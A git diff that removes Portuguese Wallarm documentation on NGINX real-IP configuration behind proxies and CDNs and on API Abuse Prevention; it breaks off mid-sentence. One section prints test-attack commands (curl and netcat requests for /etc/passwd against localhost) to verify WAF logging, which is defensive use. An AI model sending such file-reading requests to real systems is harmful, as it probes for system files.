permissões](../user-guides/ip-lists/allowlist.md), [lista de negação](../user-guides/ip-lists/denylist.md) e [lista cinza](../user-guides/ip-lists/graylist.md). -3. Verifique se o nó de filtragem processa corretamente as solicitações originadas dos IPs adicionados às listas. - -## Usuários Podem Ser Configurados e Têm Direitos de Acesso Adequados - -1. Certifique-se de ter o papel de *Administrador* no sistema Wallarm. -2. Crie, altere a função, desabilite e exclua um usuário conforme descrito em [Configurando usuários](../user-guides/settings/users.md). - -Veja também [Configurando usuários](../user-guides/settings/users.md). - -## O Log de Atividades do Usuário Possui Registros - -1. Vá para *Configurações* –> *Usuários*. -2. Verifique se o *Log de Atividade do Usuário* possui registros. - -Veja também [Log de atividade do usuário](../user-guides/settings/audit-log.md). - -## Relatórios Funcionam - -1. Na guia *Ataques*, coloque uma consulta de pesquisa. -2. Clique no botão de relatório à direita. -3. Coloque seu e-mail e clique novamente no botão de relatório. -5. Verifique se você recebe o relatório. - -Veja também [Criando um relatório personalizado](../user-guides/search-and-filters/custom-report.md). diff --git a/docs/latest-pt-BR/admin-en/using-proxy-or-balancer-en.md b/docs/latest-pt-BR/admin-en/using-proxy-or-balancer-en.md deleted file mode 100644 index 8b986adf0d..0000000000 --- a/docs/latest-pt-BR/admin-en/using-proxy-or-balancer-en.md +++ /dev/null @@ -1,263 +0,0 @@ -# Identificando um endereço IP do cliente original ao usar um proxy HTTP ou um balanceador de carga (NGINX) - -Estas instruções descrevem a configuração do NGINX necessária para identificar um endereço IP de origem de um cliente que se conecta aos seus servidores por meio de um proxy HTTP ou balanceador de carga. - -* Se o nó Wallarm for instalado a partir dos pacotes DEB / RPM, imagens AWS / GCP ou a imagem Docker baseada em NGINX, por favor utilize as **instruções atuais**. -* Se o nó Wallarm for implantado como o controlador de Ingress K8s, por favor use [estas instruções](configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md). - -## Como o nó Wallarm identifica um endereço IP de uma requisição - -O nó Wallarm lê um endereço IP de origem da requisição a partir da variável NGINX `$remote_addr`. Se a requisição passou por um servidor proxy ou balanceador de carga antes de ser enviada para o nó, a variável `$remote_addr` mantém o endereço IP do servidor proxy ou balanceador de carga. - -![Utilizando balancer](../images/admin-guides/using-proxy-or-balancer/using-balancer-en.png) - -O endereço IP de origem da requisição identificado pelo nó Wallarm é exibido nos [detalhes do ataque](../user-guides/events/check-attack.md#attacks) no Console Wallarm. - -## Possíveis problemas ao usar um endereço IP do servidor proxy ou balanceador de carga como um endereço de origem da requisição - -Se o nó Wallarm considerar o endereço IP do servidor proxy ou balanceador de carga como o endereço IP de origem da requisição, as seguintes funcionalidades do Wallarm podem funcionar de maneira incorreta: - -* [Controlando o acesso a aplicativos por endereços IP](../user-guides/ip-lists/overview.md), por exemplo: - - Se os endereços IP do cliente original foram para a lista de negação, o nó Wallarm ainda não bloquearia as requisições originadas a partir deles, pois considera o endereço IP do balanceador de carga como o endereço IP de origem da requisição. -* [Proteção contra força bruta](configuration-guides/protecting-against-bruteforce.md), por exemplo: - - Se as requisições passadas pelo balanceador de carga apresentarem sinais de ataque de força bruta, a Wallarm colocará este endereço IP do balanceador de carga na lista de negação e, portanto, bloqueará todas as futuras requisições passadas por este balanceador de carga. -* O módulo [Verificação de ameaça ativa](../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) e [Scanner de vulnerabilidades](../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner), por exemplo: - - A Wallarm considerará o endereço IP do balanceador de carga como o [endereço IP originando ataques de teste](scanner-addresses.md) gerados pelo módulo de Verificação de ameaça ativa e pelo Scanner de vulnerabilidades. Assim, os ataques de teste serão exibidos no Console Wallarm como ataques originados a partir do endereço IP do balanceador de carga e serão adicionalmente verificados pela Wallarm, o que criará uma carga extra na aplicação. -* [Configurando o NGINX para ler o cabeçalho `X-Forwarded-For` (`X-Real-IP` ou similar](#configurando-o-nginx-para-ler-o-cabecalho-x-forwarded-for-x-real-ip-ou-similar) -* [Configurando o NGINX para ler o cabeçalho `PROXY`](#configurando-o-nginx-para-ler-o-cabecalho-proxy) - -Se o nó Wallarm for conectado através de um [soquete IPC](https://en.wikipedia.org/wiki/Unix_domain_socket), então `0.0.0.0` será considerado como a origem da requisição. - -## Configuração para identificação de um endereço IP do cliente original - -Para configurar a identificação do endereço IP do cliente original, você pode usar o [módulo NGINX **ngx_http_realip_module**](https://nginx.org/en/docs/http/ngx_http_realip_module.html). Este módulo permite a redefinição do valor de `$remote_addr` [usado](#como-o-no-wallarm-identifica-um-endereco-ip-de-uma-requisicao) pelo nó Wallarm para obter um endereço IP do cliente. - -Você pode usar o módulo NGINX **ngx_http_realip_module** de uma das seguintes maneiras: - -* Para ler um endereço IP do cliente original de um cabeçalho específico (geralmente, [`X-Forwarded-For`](https://en.wikipedia.org/wiki/X-Forwarded-For)) adicionado à requisição por um balanceador de carga ou servidor proxy. -* Se um balanceador de carga ou servidor proxy suporta o [protocolo PROXY](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt), para ler um endereço IP do cliente original do cabeçalho `PROXY`. - -### Configurando NGINX para ler o cabeçalho `X-Forwarded-For` (`X-Real-IP` ou similar) - -Se um balanceador de carga ou servidor proxy anexar um cabeçalho `X-Forwarded-For` (`X-Real-IP` ou similar) contendo um endereço IP do cliente original, configure o módulo NGINX **ngx_http_realip_module** para ler este cabeçalho conforme segue: - -1. Abra o seguinte arquivo de configuração do NGINX instalado com o nó Wallarm: - - * `/etc/nginx/conf.d/default.conf` se o nó Wallarm for instalado a partir dos pacotes DEB / RPM. - * `/etc/nginx/nginx.conf` se o nó Wallarm for implantado a partir da imagem AWS / GCP. - * Se o nó Wallarm for implantado a partir da imagem Docker baseada em NGINX, você deve criar e editar o arquivo de configuração do NGINX localmente e montá-lo no contêiner Docker no caminho `/etc/nginx/sites-enabled/default`. Você pode copiar um arquivo de configuração NGINX inicial e obter as instruções sobre a montagem do arquivo para o contêiner a partir das [instruções no Wallarm Docker baseado em NGINX](installation-docker-en.md#run-the-container-mounting-the-configuration-file). -2. No contexto `location` do NGINX ou superior, adicione a diretiva `set_real_ip_from` com um endereço IP do servidor proxy ou do balanceador de carga. Se um servidor proxy ou balanceador de carga tiver vários endereços IP, adicione um número apropriado de diretivas separadas. Por exemplo: - - ```bash - ... - location / { - wallarm_mode block; - - set_real_ip_from 1.2.3.4; - set_real_ip_from 192.0.2.0/24; - } - ... - ``` -3. Na documentação sobre um balanceador de carga em uso, encontre o nome do cabeçalho anexado por este balanceador de carga para passar um endereço IP do cliente original. Mais frequentemente, o cabeçalho é chamado `X-Forwarded-For`. -4. No contexto `location` do NGINX ou superior, adicione a diretiva `real_ip_header` com o nome do cabeçalho encontrado na etapa anterior. Por exemplo: - - ```bash - ... - location / { - wallarm_mode block; - - set_real_ip_from 1.2.3.4; - set_real_ip_from 192.0.2.0/24; - real_ip_header X-Forwarded-For; - } - ... - ``` -5. Reinicie o NGINX: - - --8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - - O NGINX atribuirá o valor do cabeçalho especificado na diretiva `real_ip_header` à variável `$remote_addr`, então o nó Wallarm lerá os endereços IP do cliente original a partir desta variável. -6. [Teste a configuração](#testando-a-configuracao). - -### Configurando NGINX para ler o cabeçalho `PROXY` - -Se um balanceador de carga ou servidor proxy suporta o [protocolo PROXY](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt), você pode configurar o módulo NGINX **ngx_http_realip_module** para ler o cabeçalho `PROXY` como se segue: - -1. Abra o seguinte arquivo de configuração do NGINX instalado com o nó Wallarm: - - * `/etc/nginx/conf.d/default.conf` se o nó Wallarm for instalado a partir dos pacotes DEB / RPM. - * `/etc/nginx/nginx.conf` se o nó Wallarm for implantado a partir da imagem AWS / GCP. - * Se o nó Wallarm for implantado a partir da imagem Docker baseada em NGINX, você deve criar e editar o arquivo de configuração do NGINX localmente e montá-lo no contêiner Docker no caminho `/etc/nginx/sites-enabled/default`. Você pode copiar um arquivo de configuração NGINX inicial e obter as instruções sobre a montagem do arquivo para o contêiner a partir das [instruções no Wallarm Docker baseado em NGINX](installation-docker-en.md#run-the-container-mounting-the-configuration-file). -2. No contexto `server` do NGINX, adicione o parâmetro `proxy_protocol` à diretiva `listen`. -3. No contexto `location` do NGINX ou superior, adicione a diretiva `set_real_ip_from` com um endereço IP do servidor proxy ou do balanceador de carga. Se um servidor proxy ou balanceador de carga tiver vários endereços IP, adicione um número apropriado de diretivas separadas. Por exemplo: -4. No contexto `location` do NGINX ou superior, adicione a diretiva `real_ip_header` com o valor de `proxy_protocol`. - - Um exemplo do arquivo de configuração NGINX com todas as diretivas adicionadas: - - ```bash - server { - listen 80 proxy_protocol; - server_name localhost; - - set_real_ip_from ; - real_ip_header proxy_protocol; - - ... - } - ``` - - * O NGINX está ouvindo conexões de entrada na porta 80. - * Se o cabeçalho `PROXY` não for passado na requisição de entrada, o NGINX não aceitará esta requisição, pois é considerada inválida. - * Para requisições originadas a partir do endereço ``, o NGINX atribui o endereço de origem passado no cabeçalho `PROXY` à variável `$remote_addr`, então o nó Wallarm lerá os endereços IP do cliente original a partir desta variável. -5. Reinicie o NGINX: - - --8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" -6. [Teste a configuração](#testando-a-configuracao). - -Para incluir um endereço IP do cliente original nos logs, você deve adicionar a diretiva `proxy_set_header` e editar a lista de variáveis na diretiva `log_format` na configuração do NGINX, conforme descrito nas [instruções de log do NGINX](https://docs.nginx.com/nginx/admin-guide/load-balancer/using-proxy-protocol/#logging-the-original-ip-address). - -Mais detalhes sobre a identificação de um endereço IP do cliente original com base no cabeçalho `PROXY` estão disponíveis na [documentação do NGINX](https://docs.nginx.com/nginx/admin-guide/load-balancer/using-proxy-protocol/#changing-the-load-balancers-ip-address-to-the-client-ip-address). - -### Testando a configuração - -1. Envie o ataque de teste para o endereço da aplicação protegida: - - === "Usando cURL" - ```bash - curl http://localhost/etc/passwd - ``` - === "Usando printf e Netcat (para o cabeçalho `PROXY`)" - ```bash - printf "PROXY TCP4 0 80\r\nGET /etc/passwd\r\n\r\n" | nc localhost 80 - ``` -2. Abra o Console Wallarm e certifique-se de que o endereço IP original do cliente é exibido nos detalhes do ataque: - - ![Endereço IP originado da requisição](../images/request-ip-address.png) - - Se o NGINX leu o endereço original do cabeçalho `X-Forwarded-For` (`X-Real-IP` ou similar), o valor do cabeçalho também seria exibido no ataque bruto. - - ![Cabeçalho X-Forwarded-For](../images/x-forwarded-for-header.png) - -## Exemplos de configuração - -Abaixo você encontrará exemplos de configuração do NGINX necessários para identificar um endereço IP de origem de um cliente que se conecta aos seus servidores por meio de balanceadores de carga populares. - -### Cloudflare CDN - -Ao usar o Cloudflare CDN, você pode [configurar o módulo NGINX **ngx_http_realip_module**](#configurando-o-nginx-para-ler-o-cabecalho-x-forwarded-for-x-real-ip-ou-similar) para identificar endereços IP do cliente original. - -```bash -... -set_real_ip_from 103.21.244.0/22; -set_real_ip_from 103.22.200.0/22; -set_real_ip_from 103.31.4.0/22; -set_real_ip_from 104.16.0.0/12; -set_real_ip_from 108.162.192.0/18; -set_real_ip_from 131.0.72.0/22; -set_real_ip_from 141.101.64.0/18; -set_real_ip_from 162.158.0.0/15; -set_real_ip_from 172.64.0.0/13; -set_real_ip_from 173.245.48.0/20; -set_real_ip_from 188.114.96.0/20; -set_real_ip_from 190.93.240.0/20; -set_real_ip_from 197.234.240.0/22; -set_real_ip_from 198.41.128.0/17; -set_real_ip_from 2400:cb00::/32; -set_real_ip_from 2606:4700::/32; -set_real_ip_from 2803:f800::/32; -set_real_ip_from 2405:b500::/32; -set_real_ip_from 2405:8100::/32; -set_real_ip_from 2c0f:f248::/32; -set_real_ip_from 2a06:98c0::/29; - -real_ip_header CF-Connecting-IP; -#real_ip_header X-Forwarded-For; -real_ip_recursive on; -... -``` - -* Antes de salvar a configuração, verifique se os endereços IP do Cloudflare especificados na configuração acima correspondem aos da [documentação do Cloudflare](https://www.cloudflare.com/ips/). -* No valor da diretiva `real_ip_header`, você pode especificar `CF-Connecting-IP` ou `X-Forwarded-For`. O CDN do Cloudflare anexa ambos os cabeçalhos e você pode configurar o NGINX para ler qualquer um deles. [Mais detalhes no CDN do Cloudflare](https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs) - -### Fastly CDN - -Ao usar o Fastly CDN, você pode [configurar o módulo NGINX **ngx_http_realip_module**](#configurando-o-nginx-para-ler-o-cabecalho-x-forwarded-for-x-real-ip-ou-similar) para identificar os endereços IP do cliente original. - -```bash -... -set_real_ip_from 23.235.32.0/20; -set_real_ip_from 43.249.72.0/22; -set_real_ip_from 103.244.50.0/24; -set_real_ip_from 103.245.222.0/23; -set_real_ip_from 103.245.224.0/24; -set_real_ip_from 104.156.80.0/20; -set_real_ip_from 146.75.0.0/16; -set_real_ip_from 151.101.0.0/16; -set_real_ip_from 157.52.64.0/18; -set_real_ip_from 167.82.0.0/17; -set_real_ip_from 167.82.128.0/20; -set_real_ip_from 167.82.160.0/20; -set_real_ip_from 167.82.224.0/20; -set_real_ip_from 172.111.64.0/18; -set_real_ip_from 185.31.16.0/22; -set_real_ip_from 199.27.72.0/21; -set_real_ip_from 199.232.0.0/16; -set_real_ip_from 2a04:4e40::/32; -set_real_ip_from 2a04:4e42::/32; - -real_ip_header X-Forwarded-For; -real_ip_recursive on; -... -``` - -Antes de salvar a configuração, certifique-se de que os endereços IP do Fastly especificados na configuração acima correspondem àqueles na [documentação do Fastly](https://api.fastly.com/public-ip-list). - -### HAProxy - -Se estiver usando HAProxy, ambos os lados HAProxy e o nó Wallarm devem ser devidamente configurados para identificar endereços IP do cliente original: - -* No arquivo de configuração `/etc/haproxy/haproxy.cfg`, insira a linha `option forwardfor header X-Client-IP` no bloco de diretiva `backend` responsável por conectar HAProxy ao nó Wallarm. - - A diretiva `option forwardfor` diz ao balanceador HAProxy que um cabeçalho com o endereço IP do cliente deve ser adicionado à requisição. [Mais detalhes na documentação do HAProxy](https://cbonte.github.io/haproxy-dconv/1.9/configuration.html#option%20forwardfor) - - Exemplo de configuração: - - ``` - ... - # Endereço IP público para receber requisições - frontend my_frontend - bind - mode http - default_backend my_backend - - # Backend com o nó Wallarm - backend my_backend - mode http - option forwardfor header X-Client-IP - server wallarm-node - ... - ``` - - * `` é o endereço IP do servidor HAProxy para receber requisições do cliente. - * `` é o endereço IP do nó Wallarm para receber requisições do servidor HAProxy. - -* No arquivo de configuração do NGINX instalado com o nó Wallarm, configure o [módulo **ngx_http_realip_module**](#configurando-o-nginx-para-ler-o-cabecalho-x-forwarded-for-x-real-ip-ou-similar) conforme segue: - - ```bash - ... - location / { - wallarm_mode block; - - proxy_pass http://; - set_real_ip_from ; - set_real_ip_from ; - real_ip_header X-Client-IP; - } - ... - ``` - - * `` é o endereço IP da aplicação protegida para requisições vindas do nó Wallarm. - * `` e `` são endereços IP dos balanceadores HAProxy que passam requisições para o nó Wallarm. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/wstore-metrics.md b/docs/latest-pt-BR/admin-en/wstore-metrics.md deleted file mode 100644 index d699ae7a86..0000000000 --- a/docs/latest-pt-BR/admin-en/wstore-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/wstore-metrics.md" diff --git a/docs/latest-pt-BR/agentic-ai/agentic-ai-protection.md b/docs/latest-pt-BR/agentic-ai/agentic-ai-protection.md deleted file mode 100644 index cf6883c867..0000000000 --- a/docs/latest-pt-BR/agentic-ai/agentic-ai-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/agentic-ai/agentic-ai-protection.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/agentic-ai/ai-payload-inspection.md b/docs/latest-pt-BR/agentic-ai/ai-payload-inspection.md deleted file mode 100644 index bb45ee8a34..0000000000 --- a/docs/latest-pt-BR/agentic-ai/ai-payload-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/agentic-ai/ai-payload-inspection.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/api-abuse-prevention/exceptions.md b/docs/latest-pt-BR/api-abuse-prevention/exceptions.md deleted file mode 100644 index 0b13aa8596..0000000000 --- a/docs/latest-pt-BR/api-abuse-prevention/exceptions.md +++ /dev/null @@ -1,42 +0,0 @@ -# Desativando a proteção contra bots para URLs e solicitações específicas - -O módulo [**Prevenção de Abuso de API**](../api-abuse-prevention/overview.md) da plataforma Wallarm identifica e combate bots com base nos [perfis](../api-abuse-prevention/setup.md) que definem as aplicações específicas a serem protegidas, os tipos de bots direcionados, o nível de tolerância, etc. Além disso, a regra **Definir modo de Prevenção de Abuso de API** mencionada neste artigo permite desativar a proteção contra bots para URLs e solicitações específicas. - -Como o [construtor de URI](../user-guides/rules/rules.md#uri-constructor) da regra inclui elementos de URL e solicitação, como cabeçalhos, você pode usar a regra para desativar a proteção contra bots tanto para URLs que os alvos de solicitação quanto para os tipos de solicitação específicos, por exemplo, para solicitações que contêm cabeçalhos específicos. - -!!! info "Suporte de regra em diferentes versões de nó" - Este recurso é suportado apenas pelas versões de nó 4.8 e superiores. - -## Criando e aplicando a regra - -Para desativar a proteção contra bots para URL ou tipo de solicitação específico: - -1. Acesse o Console Wallarm → **Regras** → **Adicionar regra**. -1. Em **Se a solicitação for**, [descreva](../user-guides/rules/rules.md#uri-constructor) as solicitações e/ou URLs para aplicar a regra. - - Para especificar a URL, se você usa o módulo [**Descoberta de API**](../api-discovery/overview.md) e de seus endpoints foram descobertos, você também pode criar rapidamente a regra para o endpoint usando seu menu. - -1. Em **Então**, escolha **Definir modo de Prevenção de Abuso de API** e configure: - - * **Padrão** - para o escopo descrito (URL ou solicitação específica), a proteção contra bots funcionará de uma maneira usual definida pelos perfis comuns de Prevenção de Abuso de API [perfis](../api-abuse-prevention/setup.md). - * **Não verificar a atividade do bot** - para a URL e/ou tipo de solicitação descrito, a verificação da atividade do bot não será realizada. - -1. Opcionalmente, no comentário, especifique o motivo da criação da regra para esta URL/tipo de solicitação. - -Observe que você pode desativar temporariamente a exceção para a URL e/ou tipo de solicitação sem excluir a regra: para fazer isso, selecione o modo **Padrão**. Você pode voltar para **Não verificar a atividade do bot** a qualquer momento posterior. - -## Exemplos de regra - -### Marcando bot legítimo pelos seus cabeçalhos de solicitação - -Suponha que sua aplicação esteja integrada com a ferramenta de automação de marketing Klaviyo que tem vários IPs que enviam solicitações. Portanto, definimos que não devemos verificar as atividades automatizadas (bot) em solicitações GET do agente de usuário `Klaviyo/1.0` para URIs específicas: - -![Não verifique a atividade dos bots para solicitações com cabeçalhos específicos](../images/user-guides/rules/api-abuse-url-request.png) - -### Desativando a proteção contra bots para o endpoint de teste - -Vamos dizer que você tem um endpoint que pertence à sua aplicação. A aplicação deve ser protegida contra atividades de bots, mas o endpoint de teste deve ser uma exceção. Além disso, você tem seu inventário de API descoberto pelo módulo [**Descoberta de API**](../api-discovery/overview.md). - -Neste caso, é mais fácil criar uma regra a partir da lista de endpoints do **Descoberta de API**. Vá até lá, encontre o seu endpoint e inicie a criação da regra a partir da sua página: - -![Criando modo de Prevenção de Abuso de API para endpoint de Descoberta de API](../images/user-guides/rules/api-abuse-url.png) diff --git a/docs/latest-pt-BR/api-abuse-prevention/overview.md b/docs/latest-pt-BR/api-abuse-prevention/overview.md deleted file mode 100644 index af68da0370..0000000000 --- a/docs/latest-pt-BR/api-abuse-prevention/overview.md +++ /dev/null @@ -1,105 +0,0 @@ -# Prevenção de Abuso de API - -O módulo **Prevenção de Abuso de API** da plataforma Wallarm oferece detecção e mitigação de bots que realizam abuso de API, como preenchimento de credenciais, criação de contas falsas, raspagem de conteúdo e outras ações maliciosas voltadas para suas APIs. - -## Ameaças automatizadas bloqueadas pela Prevenção de Abuso de API - -O módulo **Prevenção de Abuso de API** detecta os seguintes tipos de bots por padrão: - -* [Abuso de API](../attacks-vulns-list.md#api-abuse) -* [Tomada de conta](../attacks-vulns-list.md#api-abuse-account-takeover) -* [Rastreadores de segurança](../attacks-vulns-list.md#api-abuse-security-crawlers) -* [Raspagem](../attacks-vulns-list.md#api-abuse-scraping) - -Durante a [configuração do perfil de abuso de API](../api-abuse-prevention/setup.md#creating-api-abuse-profile), você pode configurar o módulo **Prevenção de Abuso de API** para proteger contra todos os tipos de bots ou limitar a proteção apenas para ameaças específicas. - -## Como funciona a Prevenção de Abuso de API? - -O módulo **Prevenção de Abuso de API** usa o modelo complexo de detecção de bot que envolve métodos baseados em ML, bem como métodos de busca de anomalias estatísticas e matemáticas e casos de abuso direto. O módulo aprende por si mesmo o perfil de tráfego normal e identifica comportamento dramaticamente diferente como anomalias. - -A Prevenção de Abuso de API usa vários detectores para identificar os bots maliciosos. O módulo fornece estatísticas sobre quais detectores estiveram envolvidos na marcação dos. - -Os seguintes detectores podem estar envolvidos: - -* **Intervalo de solicitação** analisando os intervalos de tempo entre solicitações consecutivas para encontrar falta de aleatoriedade, que é o sinal de comportamento de bot. -* **Unicidade da solicitação** analisando o número de endpoints únicos visitados durante uma sessão. Se um cliente visita consistentemente uma baixa porcentagem de endpoints únicos, como 10% ou menos, é provável que seja um bot em vez de um usuário humano. -* **Taxa de solicitação** analisando o número de solicitações feitas em um intervalo de tempo específico. Se um cliente de API faz consistentemente uma alta porcentagem de solicitações acima de um determinado limite, é provável que seja um bot em vez de um usuário humano. -* **Agente do usuário ruim** analisando os cabeçalhos `User-Agent` incluídos nas solicitações. Este detector verifica assinaturas específicas, incluindo aquelas pertencentes a rastreadores, raspadores e verificadores de segurança. -* **Navegador desatualizado** analisando o navegador e a plataforma usados nas solicitações. Se um cliente está usando um navegador ou plataforma desatualizado ou não compatível, é provável que seja um bot em vez de um usuário humano. -* **Pontuação de comportamento suspeito** analisando solicitações de API de lógica de negócios usuais e incomuns realizadas durante uma sessão. -* **Pontuação de lógica de negócios** analisando o uso de pontos finais de API críticos ou sensíveis dentro do contexto do comportamento de sua aplicação. -* **Amplo escopo** analisando a amplitude da atividade IP para identificar comportamentalmente bots semelhantes a rastreadores. - -!!! info "Confiança" - Como resultado do trabalho dos detectores, todos os bots [detectados] (../api-abuse-prevention/setup.md#exploring-blocked-malicious-bots-and-their-attacks) obtêm uma **porcentagem de confiança**: quão certos estamos de que este é um bot. Em cada tipo de bot, os detectores têm importância / número de votos diferentes. Assim, a porcentagem de confiança é os votos ganhos fora de todos os votos possíveis neste tipo de bot (fornecido por detectores que funcionaram). - -![Estatísticas de prevenção de abuso de API](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-prevention-statistics.png) - -Se um ou vários detectores apontarem para [sinais de ataque de bot](#automated-threats-blocked-by-api-abuse-prevention), o módulo [denylists ou graylists](#reaction-to-malicious-bots) a fonte do tráfego de anomalia por 1 hora. Wallarm conta IPs de bot que foram negados e listados em cinza dentro de 30 dias e exibe quantos por cento essas quantidades aumentaram ou diminuíram em relação ao período de 30 dias anterior. - -A solução observa profundamente as anomalias de tráfego antes de atribuí-las como ações de bot malicioso e bloquear suas origens. Como a coleta e análise de métricas levam algum tempo, o módulo não bloqueia bots maliciosos em tempo real uma vez que a primeira solicitação maliciosa se originou, mas reduz significativamente a atividade anormal em média. - -## Ativando a Prevenção de Abuso de API - -O módulo **Prevenção de Abuso de API** no estado desativado é fornecido com [todas as formas do nó Wallarm 4.2 e acima](../installation/supported-deployment-options.md) incluindo o nó CDN. - -Para ativar a Prevenção de Abuso de API: - -1. Verifique se seu tráfego é filtrado pelo nó Wallarm 4.2 ou posterior. -1. Certifique-se de que seu [plano de assinatura](../about-wallarm/subscription-plans.md) inclui **Prevenção de Abuso de API**. Para alterar o plano de assinatura, envie um pedido para [sales@wallarm.com](mailto:sales@wallarm.com). -1. No Console Wallarm → **Prevenção de Abuso de API**, crie ou habilite pelo menos um [perfil de Abuso de API](../api-abuse-prevention/setup.md). - - !!! info "Acesso às configurações de Prevenção de Abuso de API" - Apenas [administradores](../user-guides/settings/users.md#user-roles) da conta da empresa Wallarm podem acessar a seção **Prevenção de Abuso de API**. Entre em contato com o administrador se você não tiver esse acesso. - - ![Perfil de prevenção de abuso de API](../images/about-wallarm-waf/abi-abuse-prevention/create-api-abuse-prevention.png) - -## Tolerância - -Você pode configurar com que rigidez os sinais de um bot malicioso são monitorados e, assim, controlar o número de detecções falsas positivas. Isso é definido com o parâmetro **Tolerância** dentro [perfis de Abuso de API](../api-abuse-prevention/setup.md#creating-api-abuse-profile). - -Há três níveis disponíveis: - -* **Baixa** tolerância a bots significa que MENOS bots acessam suas aplicações, mas isso pode bloquear algumas solicitações legítimas devido a falsos positivos. -* **Normal** a tolerância usa regras ótimas para evitar muitos falsos positivos e prevenir que a maioria das solicitações de bot malicioso cheguem às APIs. -* **Alta** tolerância a bots significa que MAIS bots acessam suas aplicações, mas nenhum pedido legítimo será descartado. - -## Reação aos bots maliciosos - -Você pode configurar a Prevenção de Abuso de API para reagir aos bots maliciosos de uma das seguintes maneiras: - -* **Adicionar à lista de negação**: Wallarm [listará em negrito](../user-guides/ip-lists/denylist.md) os IPs dos bots pelo tempo selecionado (valor padrão é `Adicionar por um dia` - 24 horas) e bloqueará todo o tráfego que esses IPs produzem. -* **Adicionar à lista cinza**: Wallarm [listará em cinza](../user-guides/ip-lists/graylist.md) os IPs dos bots pelo tempo selecionado (o valor padrão é `Adicionar por um dia` - 24 horas) e bloqueará apenas as solicitações que se originam desses IPs e contêm os sinais dos seguintes ataques: - - * [Ataques de validação de entrada](../about-wallarm/protecting-against-attacks.md#input-validation-attacks) - * [Ataques do tipo vpatch](../user-guides/rules/vpatch-rule.md) - * [Ataques detectados com base em expressões regulares](../user-guides/rules/regex-rule.md) - -* **Somente monitorar**: Wallarm exibirá a atividade do bot detectada na seção [**Eventos**](../user-guides/events/check-attack.md), mas não adicionará o IP do bot nem à lista de negação nem à lista cinza. - - A partir desses detalhes de eventos, você pode bloquear rapidamente o bot com o botão **Adicionar IP de origem à lista de negação**. O IP é adicionado à lista de negação para sempre, mas na seção **IP Lists** você pode excluí-lo ou alterar o tempo de permanência na lista. - -## Explorando bots maliciosos e seus ataques - -Você pode explorar a atividade dos bots na interface do usuário do Console Wallarm da seguinte maneira: - -* Explore bots maliciosos na seção **Listas de IP** -* Veja o abuso de API realizado por bots na seção **Eventos** - -[Aprenda como explorar a atividade dos bots →](../api-abuse-prevention/setup.md#exploring-blocked-malicious-bots-and-their-attacks) - -## Lista de exceções - -Uma lista de exceções é uma lista de endereços IP, sub-redes, locais e tipos de fonte que são conhecidos por estarem associados a bots ou rastreadores legítimos e, portanto, estão isentos de serem bloqueados ou restringidos pelo módulo de Prevenção de Abuso de API. - -Você pode adicionar endereços IP à lista de exceções com antecedência ou se eles já foram erroneamente sinalizados como sendo associados à atividade de bot malicioso. [Aprenda como trabalhar com a lista de exceções →](../api-abuse-prevention/setup.md#working-with-exception-list) - -![Prevenção de abuso de API - Lista de exceções](../images/about-wallarm-waf/abi-abuse-prevention/exception-list.png) - -## Desativando a proteção de bot para URLs e solicitações específicas - -Além de marcar bons IPs de bots via [lista de exceções](#exception-list), você pode desativar a proteção de bot tanto para URLs que os pedidos visam quanto para os tipos de solicitação específicos, por exemplo, para solicitações contendo cabeçalhos específicos. - -Isso pode ajudar a evitar detecções de falsos positivos e também pode ser útil no caso de testar suas aplicações quando você pode precisar desativar temporariamente a proteção do bot para alguns de seus endpoints. - -Observe que, comparado a outra configuração de Prevenção de Abuso de API, essa habilidade é configurada **não** dentro do [perfil](../api-abuse-prevention/setup.md) de Abuso de API, mas separadamente - com a ajuda da regra [**Definir modo de Prevenção de Abuso de API**](../api-abuse-prevention/exceptions.md). diff --git a/docs/latest-pt-BR/api-abuse-prevention/setup.md b/docs/latest-pt-BR/api-abuse-prevention/setup.md deleted file mode 100644 index b3b653e1b0..0000000000 --- a/docs/latest-pt-BR/api-abuse-prevention/setup.md +++ /dev/null @@ -1,110 +0,0 @@ -# Gerenciamento do perfil de Prevenção de Abuso de API - -Na seção **Prevenção de Abuso de API** do Console Wallarm, você pode gerenciar perfis de abuso de API necessários para a configuração do módulo [**Prevenção de Abuso de API**](../api-abuse-prevention/overview.md). - -A seção só está disponível para os usuários dos seguintes [funções](../user-guides/settings/users.md#user-roles): - -* **Administrador** ou **Analista** para as contas regulares. -* **Administrador Global** ou **Analista Global** para as contas com o recurso de multilocação. - -## Criação de perfil de abuso de API - -Para criar um perfil de abuso de API: - -1. No Console Wallarm → **Prevenção de Abuso de API**, clique em **Criar perfil**. -1. Selecione os aplicativos a proteger. -1. Selecione o nível de [tolerância](../api-abuse-prevention/overview.md#tolerance). -1. Se necessário, na seção **Proteger de**, limite os [tipos de bots](../api-abuse-prevention/overview.md#automated-threats-blocked-by-api-abuse-prevention) para proteger. -1. Selecione a [reação apropriada aos bots maliciosos](../api-abuse-prevention/overview.md#reaction-to-malicious-bots). -1. Se o a reação é adicionar à lista de negação ou cinza, defina o tempo durante o qual o IP estará na lista. O valor padrão é `Adicionar por um dia`. -1. Defina um nome e, opcionalmente, uma descrição. - - ![Perfil de Prevenção de Abuso de API](../images/about-wallarm-waf/abi-abuse-prevention/create-api-abuse-prevention.png) - - Uma vez que o perfil de abuso de API está configurado, o módulo iniciará a [análise de tráfego e bloqueio de ameaças automatizadas suportadas](../api-abuse-prevention/overview.md#how-api-abuse-prevention-works). - -## Desabilitando o perfil de abuso de API - -Perfis desabilitados são aqueles que o módulo **Prevenção de Abuso de API** não utiliza durante a análise de tráfego, mas que ainda são exibidos na lista de perfis. Você pode reativar perfis desativados a qualquer momento. Se não houver perfis habilitados, o módulo não bloqueará bots maliciosos. - -Você pode desabilitar o perfil usando a opção **Desativar** correspondente. - -## Excluindo o perfil de abuso de API - -Perfis excluídos são aqueles que não podem 